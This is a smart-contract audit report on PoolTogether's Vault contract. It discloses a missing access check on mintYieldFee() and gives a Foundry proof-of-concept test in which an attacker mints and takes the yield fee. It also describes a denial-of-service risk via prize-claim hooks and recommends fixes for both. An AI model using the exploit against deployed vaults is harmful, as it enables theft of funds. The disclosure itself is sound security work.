PoolTogether - serial-coder's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

The mintYieldFee() of the Vault contract has no access control, allowing anyone to execute and mint vault shares from the available yield fee. Furthermore, the function does not enforce that the recipient must be the intended yield fee recipient set by the Vault's owner (the _yieldFeeRecipient state variable).

function mintYieldFee(uint256 _shares, address _recipient) external {
  _requireVaultCollateralized();
  if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

  _yieldFeeTotalSupply -= _shares;
  _mint(_recipient, _shares);

  emit MintYieldFee(msg.sender, _recipient, _shares);
}

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Impact

Anyone can steal the yield fees by executing the Vault.mintYieldFee(). Hence, the Vault's owner (or an intended yield fee recipient) may lose all the fees.

Proof of Concept

The below presents the PoC code. Please place the code in vault/test/unit/Vault/Liquidate.t.sol.

// cmd: forge test -vv --match-test testPoCStealingYieldFee
function testPoCStealingYieldFee() external {
  _setLiquidationPair();

  vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

  // Set Bob as a yield fee recipient
  vault.setYieldFeeRecipient(bob);

  uint256 _amount = 1000e18;

  underlyingAsset.mint(address(this), _amount);
  _sponsor(underlyingAsset, vault, _amount, address(this));

  uint256 _yield = 10e18;
  _accrueYield(underlyingAsset, yieldVault, _yield);

  vm.startPrank(alice);

  prizeToken.mint(alice, 1000e18);

  uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

  _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

  vm.stopPrank();

  uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

  // Bob's balance is 0 (Bob was set as a yield fee recipient)
  assertEq(vault.balanceOf(bob), 0);

  address attacker = makeAddr("Attacker");

  // Attacker's balance is 0
  assertEq(vault.balanceOf(attacker), 0);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield);
  assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

  // Prank as an attacker
  vm.startPrank(attacker);

  vm.expectEmit();
  emit MintYieldFee(address(attacker), attacker, _yieldFeeShares);

  // Attacker steals a yield fee (the yield fee is sent to the attacker, not Bob)
  vault.mintYieldFee(_yieldFeeShares, attacker);

  vm.stopPrank();

  // Attacker's balance equals _yieldFeeShares, the yield fee was stolen
  assertEq(vault.balanceOf(attacker), _yieldFeeShares);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yieldFeeShares);
  assertEq(vault.yieldFeeTotalSupply(), 0);

  // Bob's balance is still 0
  assertEq(vault.balanceOf(bob), 0);
}

To run the PoC: forge test -vv --match-test testPoCStealingYieldFee.

❯ forge test -vv --match-test testPoCStealingYieldFee
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/unit/Vault/Liquidate.t.sol:VaultLiquidateTest
[PASS] testPoCStealingYieldFee() (gas: 819547)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.09ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend applying proper access control to the Vault.mintYieldFee(). Only the Vault's owner or authorized users should be able to execute this function.

If necessary, only the intended yield fee recipient set by the Vault's owner should be able to execute this function, to be aligned with the contract design.

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1053 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1068

Vulnerability details

The "prizes claiming" transaction can be under a denial-of-service (DoS) attack.

Proof of Concept

The Vault._claimPrize() implements hook triggers (beforeClaimPrize and afterClaimPrize) and calls them if a winner enables one of them.

In this way, an attacker can register hook functions that can make a denial-of-service (DoS) attack on the "prizes claiming" transaction by reverting the transaction, creating a returnbomb attack, or spending all available gas.

	function _claimPrize(
		address _winner,
		uint8 _tier,
		uint32 _prizeIndex,
		uint96 _fee,
		address _feeRecipient
	) internal returns (uint256) {
		VaultHooks memory hooks = _hooks[_winner];
		address recipient;
		if (hooks.useBeforeClaimPrize) {
@>		recipient = hooks.implementation.beforeClaimPrize(_winner, _tier, _prizeIndex);
		} else {
			recipient = _winner;
		}

		uint prizeTotal = _prizePool.claimPrize(
			_winner,
			_tier,
			_prizeIndex,
			recipient,
			_fee,
			_feeRecipient
		);

		if (hooks.useAfterClaimPrize) {
@>		hooks.implementation.afterClaimPrize(
				_winner,
				_tier,
				_prizeIndex,
				prizeTotal - _fee,
				recipient
			);
		}

		return prizeTotal;
	}

beforeClaimPrize hook: https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1053

afterClaimPrize hook: https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1068

Impact

Since one "prizes claiming" transaction can contain a batch of multiple winners, other legit winners will not be able to receive their prizes.

Of course, the likelihood of this issue might be considered "LOW" (since the attacker must be one of the winners), but the impact of this issue is considered "HIGH".

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend applying the excessivelySafeCall() to avoid the DoS attack via the beforeClaimPrize and afterClaimPrize hook functions.

Assessed type

DoS